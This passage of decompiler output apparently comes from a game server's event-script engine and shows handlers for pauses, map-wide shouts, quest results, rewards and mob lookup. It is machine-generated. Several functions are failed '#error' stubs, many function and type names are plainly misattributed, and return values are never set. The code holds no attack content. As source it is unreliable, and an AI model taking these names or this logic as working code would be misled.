eax@23 MobTacticElement::MobActionBase *v29; // eax@23 MobTacticElement::MobActionBase *v30; // eax@23 unsigned __int16 result; // ax@27 MobTacticElement::MobActionArgument *v32; // [sp-14h] [bp-43Ch]@5 MobTacticElement::MobActionArgument *v33; // [sp-10h] [bp-438h]@5 MobTacticElement::MobActionArgument *v34; // [sp-Ch] [bp-434h]@5 PineEventScriptNode::ShinePause *v35; // [sp+8h] [bp-420h]@1 FunctionEntarance _; // [sp+Ch] [bp-41Ch]@1 PineScriptToken second; // [sp+10h] [bp-418h]@3 PineScriptToken thisa; // [sp+110h] [bp-318h]@2 PineScriptToken tkn; // [sp+210h] [bp-218h]@2 char argument; // [sp+310h] [bp-118h]@17 unsigned int cookie; // [sp+414h] [bp-14h]@27 int v42; // [sp+424h] [bp-4h]@1 v4 = this; v35 = this; _.fe_FunctionCode = "PineEventScriptNode::ShinePause::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineEventScriptNode::ShinePause::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShinePause::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *ip == 0; v42 = 0; if ( !v5 ) goto LABEL_21; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShinePause : "); ++*ip; PineScriptToken::pst_Clear(&tkn); LOBYTE(v42) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); PineScriptToken::pst_ToLower(v9); memcpy(&thisa, &tkn, sizeof(thisa)); LOBYTE(v42) = 2; if ( PineScriptToken::operator__(&thisa, index_hour.pst_Buffer) ) { PineScriptToken::pst_Clear(&second); v10 = v35->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v42) = 3; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->sa_Calculate)(&second, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWait::sa_Step : no time", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&second); LOBYTE(v42) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LABEL_26: --funcallanalizer.fca_stackpoint; v42 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShinePause::sa_Step"); goto LABEL_27; } v11 = clockwatch.cw_CurrTick; v12 = PineScriptToken::pst_GetNumber(&second, 0); v34 = &trc_eol; v33 = (MobTacticElement::MobActionArgument *)" Hours"; v13 = v11 + 36000 * v12; v32 = (MobTacticElement::MobActionArgument *)&second; goto LABEL_14; } if ( !PineScriptToken::operator__(&thisa, index_minute.pst_Buffer) ) { if ( !PineScriptToken::operator__(&thisa, index_sec.pst_Buffer) ) { if ( PineScriptToken::operator__(&thisa, index_millisec.pst_Buffer) ) { PineScriptToken::pst_Clear((PineScriptToken *)&argument); v24 = v35->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v42) = 6; v25 = ((int (__stdcall *)(char *, PineScriptStack::ProcessStack *))v24->sa_Calculate)(&argument, ps); if ( !AssertClass::operator__(&shineassert, v25 != 0, "PineEventScriptNode::ShineWait::sa_Step : no time", 3) ) { ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)(clockwatch.cw_CurrTick + 10 * PineScriptToken::pst_GetNumber( (PineScriptToken *)&argument, 0) / 1000); v26 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&argument); v27 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v26, " MilliSeconds"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v27, &trc_eol); v23 = (DiceTaiSaiDividind *)&argument; goto LABEL_20; } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&argument); } else { MoveManager::MoveManager((DiceTaiSai *)&tkn); AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWait::sa_Step : Invalid flag", v28); v29 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, "Error : "); v30 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v29, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v30, &trc_eol); PineScriptStack::ProcessStack::ps_Pop(ps); } LABEL_24: LOBYTE(v42) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v42 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_27; } PineScriptToken::pst_Clear(&second); v17 = v35->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v42) = 5; v18 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v17->sa_Calculate)(&second, ps); if ( !AssertClass::operator__(&shineassert, v18 != 0, "PineEventScriptNode::ShineWait::sa_Step : no time", 2) ) { v19 = clockwatch.cw_CurrTick; v20 = PineScriptToken::pst_GetNumber(&second, 0); v34 = &trc_eol; v33 = " Seconds"; v13 = v19 + 10 * v20; v32 = (MobTacticElement::MobActionArgument *)&second; LABEL_14: ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)v13; goto LABEL_15; } LABEL_9: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&second); goto LABEL_24; } PineScriptToken::pst_Clear(&second); v14 = v35->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v42) = 4; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v14->sa_Calculate)(&second, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWait::sa_Step : no time", 1); goto LABEL_9; } v15 = clockwatch.cw_CurrTick; v16 = PineScriptToken::pst_GetNumber(&second, 0); v34 = &trc_eol; ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)(v15 + 600 * v16); v33 = (MobTacticElement::MobActionArgument *)" Minute"; v32 = (MobTacticElement::MobActionArgument *)&second; LABEL_15: v21 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, v32); v22 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v21, v33); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v22, v34); v23 = (DiceTaiSaiDividind *)&second; LABEL_20: LOBYTE(v42) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(v23); LOBYTE(v42) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LABEL_21: if ( ps->ps_Shine.node < (PineEventScriptNode::ScriptAtom *)clockwatch.cw_CurrTick ) { PineScriptStack::ProcessStack::ps_Pop(ps); goto LABEL_26; } --funcallanalizer.fca_stackpoint; v42 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShinePause::sa_Step"); LABEL_27: __security_check_cookie(cookie); return result; } //----- (004B4640) -------------------------------------------------------- #error "4B4640: undefined or illegal type '#325' (funcsize=123)" //----- (004B4820) -------------------------------------------------------- #error "4B4820: undefined or illegal type '#325' (funcsize=123)" //----- (004B4A00) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineSomeoneShout::sa_Step(PineEventScriptNode::ShineSomeoneShout *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineSomeoneShout *v4; // esi@1 signed int v5; // edi@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v10; // eax@1 PineEventScriptNode::Express *v11; // esi@3 PineEventScriptNode::ScriptAtomVtbl *v12; // eax@3 ShineScript *v13; // esi@5 char *v14; // eax@6 const char *v15; // eax@6 ShineScript *v16; // esi@6 const char *v17; // edi@6 char *v18; // eax@6 const char *v19; // esi@6 char *v20; // ebp@6 char v21; // al@6 Movie::Theater *v22; // ecx@6 MobTacticElement::MobActionBase *v23; // eax@7 MobTacticElement::MobActionBase *v24; // eax@7 MobTacticElement::MobActionBase *v25; // eax@7 unsigned __int16 result; // ax@8 char *v27; // [sp-4h] [bp-238h]@2 AxialListPacketBroadcast alchat; // [sp+14h] [bp-220h]@6 FunctionEntarance _; // [sp+20h] [bp-214h]@1 PineScriptToken chatername; // [sp+24h] [bp-210h]@1 PineScriptToken chat; // [sp+124h] [bp-110h]@3 unsigned int v32; // [sp+224h] [bp-10h]@8 int v33; // [sp+230h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineSomeoneShout::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v33 = 0; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5A8D60); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineSomeoneShout"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); PineScriptToken::pst_Clear(&chatername); v10 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v33) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->sa_Calculate)(&chatername, ps) != 0 ) { PineScriptToken::pst_Clear(&chat); v11 = v4->baseclass_0.os_Express[1]; v12 = v11->baseclass_0.vfptr; LOBYTE(v33) = 2; if ( (int)v12->sa_Calculate((PineEventScriptNode::ScriptAtom *)v11, &chat, ps) != 0 ) { v13 = *(ShineScript **)&ps->gap10114[28]; if ( v13 ) { MoveManager::MoveManager((DiceTaiSai *)&chatername); v15 = ShineScript::ss_String(v13, v14); v16 = *(ShineScript **)&ps->gap10114[28]; v17 = v15; MoveManager::MoveManager((DiceTaiSai *)&chat); v19 = ShineScript::ss_String(v16, v18); v20 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 8223; v20[16] &= 0xFEu; *((_DWORD *)v20 + 3) = 0; *((_DWORD *)v20 + 2) = 0; *((_DWORD *)v20 + 1) = 0; *(_DWORD *)v20 = 0; strncpy(v20, v17, 0x10u); v21 = strlen(v19); v20[17] = v21; memcpy(v20 + 18, v19, (unsigned __int8)v21); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, (unsigned __int8)v20[17] + 20); v22 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v33) = 3; Movie::Theater::t_AllInMap(v22, &alchat.baseclass_0); LOBYTE(v33) = 2; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v5 = -1; } v23 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&chatername); v24 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v23, &stru_5B4DD8); v25 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v24, (MobTacticElement::MobActionArgument *)&chat); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v25, &trc_eol); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v33) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chatername); v27 = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChat::sa_Step : Null chat", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v33) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chatername); v27 = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; } } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChat::sa_Step : Null body", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chatername); v27 = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; } --funcallanalizer.fca_stackpoint; v33 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v27); __security_check_cookie(v32); return result; } //----- (004B4D10) -------------------------------------------------------- #error "4B4D10: undefined or illegal type '#325' (funcsize=187)" //----- (004B4FF0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineQuestResult::sa_Step(PineEventScriptNode::ShineQuestResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineQuestResult *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineScriptToken *v10; // eax@1 AxialListIteratorVtbl *v11; // edi@2 void *v12; // ecx@2 void *v13; // ecx@9 unsigned __int16 result; // ax@11 int v15; // [sp-8h] [bp-130h]@4 int v16; // [sp-4h] [bp-12Ch]@2 AxialListKQEnd alps; // [sp+8h] [bp-120h]@2 FunctionEntarance _; // [sp+14h] [bp-114h]@1 PineScriptToken tkn; // [sp+18h] [bp-110h]@1 unsigned int v20; // [sp+118h] [bp-10h]@11 int v21; // [sp+124h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineQuestResult::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineQuestResult::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineQuestResult::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineQuestResult"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v21) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v10 = PineScriptToken::pst_ToLower(v9); if ( PineScriptToken::operator__(v10, index_suc.pst_Buffer) ) { AxialListProtocolSend::AxialListProtocolSend(&alps.baseclass_0, 22, 18); v11 = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; alps.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 2; v16 = 0; if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_9; } v15 = (int)&alps; } else { AxialListProtocolSend::AxialListProtocolSend(&alps.baseclass_0, 22, 19); v11 = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; alps.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 3; v16 = 0; if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_9; } v15 = (int)&alps; } ShineObjectClass::ShineObject::so_AllInMap(v12, v15, v16); LABEL_9: LOBYTE(v21) = 1; alps.baseclass_0.baseclass_0.vfptr = v11; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alps); v13 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v13 ) FieldMap::fm_ClearObject(v13, 0x1B0u); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineQuestResult::sa_Step"); __security_check_cookie(v20); return result; } // 5BF76C: using guessed type int (__thiscall *AxialListKQEnd___vftable_)(AxialListProtocolSend *this, #325 *, #325 *, int distancesquar); //----- (004B5220) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineReward::sa_Step(PineEventScriptNode::ShineReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineReward *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineScriptToken *v10; // eax@1 int v11; // eax@2 unsigned int v12; // eax@3 void *v13; // ecx@7 unsigned __int16 result; // ax@11 AxialListKQReward alkqr; // [sp+8h] [bp-120h]@7 FunctionEntarance _; // [sp+14h] [bp-114h]@1 PineScriptToken tkn; // [sp+18h] [bp-110h]@1 unsigned int v18; // [sp+118h] [bp-10h]@11 int v19; // [sp+124h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineReward::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineEventScriptNode::ShineReward::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineReward::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineReward"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v19) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v10 = PineScriptToken::pst_ToLower(v9); if ( PineScriptToken::operator__(v10, index_kq.pst_Buffer) ) { v11 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v11 ) v12 = *(_DWORD *)(v11 + 60); else v12 = -1; if ( v12 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineEventReward::sa_Step : No KQ info", 0); } else { AxialListKQReward::AxialListKQReward(&alkqr, v12); v13 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v19) = 2; if ( v13 ) ShineObjectClass::ShineObject::so_AllInMap(v13, (int)&alkqr, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v19) = 1; alkqr.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQReward::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alkqr); } } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineReward::sa_Step"); __security_check_cookie(v18); return result; } // 5BF768: using guessed type int (__stdcall *AxialListKQReward___vftable_)(int, int, int distancesquar); //----- (004B5410) -------------------------------------------------------- #error "4B5410: undefined or illegal type '#325' (funcsize=205)" //----- (004B5750) -------------------------------------------------------- #error "4B5750: undefined or illegal type '#325' (funcsize=280)" //----- (004B5BD0) -------------------------------------------------------- #error "4B5BD0: undefined or illegal type '#325' (funcsize=272)" //----- (004B5FF0) -------------------------------------------------------- #error "4B5FF0: undefined or illegal type '#325' (funcsize=121)" //----- (004B61C0) -------------------------------------------------------- #error "4B61C0: undefined or illegal type '#325' (funcsize=36)" //----- (004B6270) -------------------------------------------------------- #error "4B6270: undefined or illegal type '#325' (funcsize=178)" //----- (004B6510) -------------------------------------------------------- #error "4B6510: undefined or illegal type '#325' (funcsize=110)" //----- (004B66C0) -------------------------------------------------------- #error "4B66C0: undefined or illegal type '#325' (funcsize=181)" //----- (004B6970) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineFindHandle::sa_Step(PineEventScriptNode::ShineFindHandle *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineFindHandle *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v10; // edx@3 int v11; // edi@6 unsigned __int16 v12; // si@6 const char *v13; // eax@7 unsigned int v14; // eax@7 PineEventScriptNode::ScriptAtomVtbl *v15; // edx@9 int v16; // eax@11 Movie::Theater *v17; // ecx@11 int v18; // ST10_4@11 PineScriptToken *v19; // eax@11 unsigned __int16 result; // ax@13 PineScriptToken *variable; // [sp+14h] [bp-338h]@1 PineEventScriptNode::ShineFindHandle *v22; // [sp+18h] [bp-334h]@1 AxialListMobFind almf; // [sp+1Ch] [bp-330h]@11 FunctionEntarance _; // [sp+30h] [bp-31Ch]@1 PineScriptToken mobname; // [sp+34h] [bp-318h]@3 PineScriptToken tkn; // [sp+134h] [bp-218h]@9 PineScriptToken smobname; // [sp+234h] [bp-118h]@5 unsigned int cookie; // [sp+338h] [bp-14h]@13 int v29; // [sp+348h] [bp-4h]@1 v4 = this; v22 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineFindHandle::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineFindHandle::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineFindHandle::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v29 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineFindHandle"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); v9 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); variable = v9; if ( v9 != 0 ) { PineScriptToken::pst_Clear(&mobname); v10 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v29) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->sa_Calculate)(&mobname, ps) != 0 ) { memcpy(&smobname, &mobname, sizeof(smobname)); LOBYTE(v29) = 2; PineScriptToken::pst_ToLower(&smobname); if ( PineScriptToken::operator__(&smobname, index_ply.pst_Buffer) ) { v11 = 2; v12 = -1; } else { v11 = 5; MoveManager::MoveManager((DiceTaiSai *)&mobname); v14 = BTree::operator__(&mobdatabox.mdb_btree, v13); v12 = -1; if ( v14 != -1 ) v12 = v14; } PineScriptToken::pst_Clear(&tkn); v15 = v22->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v29) = 3; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v15->sa_Calculate)(&tkn, ps) != 0 ) { v16 = PineScriptToken::pst_GetNumber(&tkn, 0); AxialListMobFind::AxialListMobFind(&almf, v12, v11, v16); v17 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v29) = 4; Movie::Theater::t_AllInMap(v17, &almf.baseclass_0); v18 = almf.almfm_handle; v19 = PineScriptToken::pst_Clear(variable); PineScriptToken::pst_MergeNumber(v19, v18); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v29) = 3; almf.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobFind::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almf); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); PineScriptStack::ProcessStack::ps_Pop(ps); } LOBYTE(v29) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v29) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&smobname); LOBYTE(v29) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobname); v29 = -1; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no mob", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v29) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobname); v29 = -1; } } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step", v9 != 0); PineScriptStack::ProcessStack::ps_Pop(ps); v29 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineFindHandle::sa_Step"); __security_check_cookie(cookie); return result; } // 5AC204: using guessed type int (__stdcall *AxialListMobFind___vftable_)(int, int, int distancesquar); //----- (004B6C70) -------------------------------------------------------- #error "4B6C70: undefined or illegal type '#325' (funcsize=23)" //----- (004B6CB0) -------------------------------------------------------- #error "4B6CB0: undefined or illegal type '#325' (funcsize=16)" //----- (004B6CE0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatSet::sa_Step(PineEventScriptNode::ShineAbstatSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineAbstatSet *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@3 const char *v10; // eax@3 unsigned int v11; // ebp@3 int v12; // eax@4 MobTacticElement::MobActionBase *v13; // eax@6 int v14; // eax@6 int v15; // ebx@10 MobTacticElement::MobActionBase *v16; // eax@10 MobTacticElement::MobActionBase *v17; // eax@10 PineEventScriptNode::Express *v18; // eax@11 int v19; // eax@12 unsigned __int16 v20; // ax@13 void 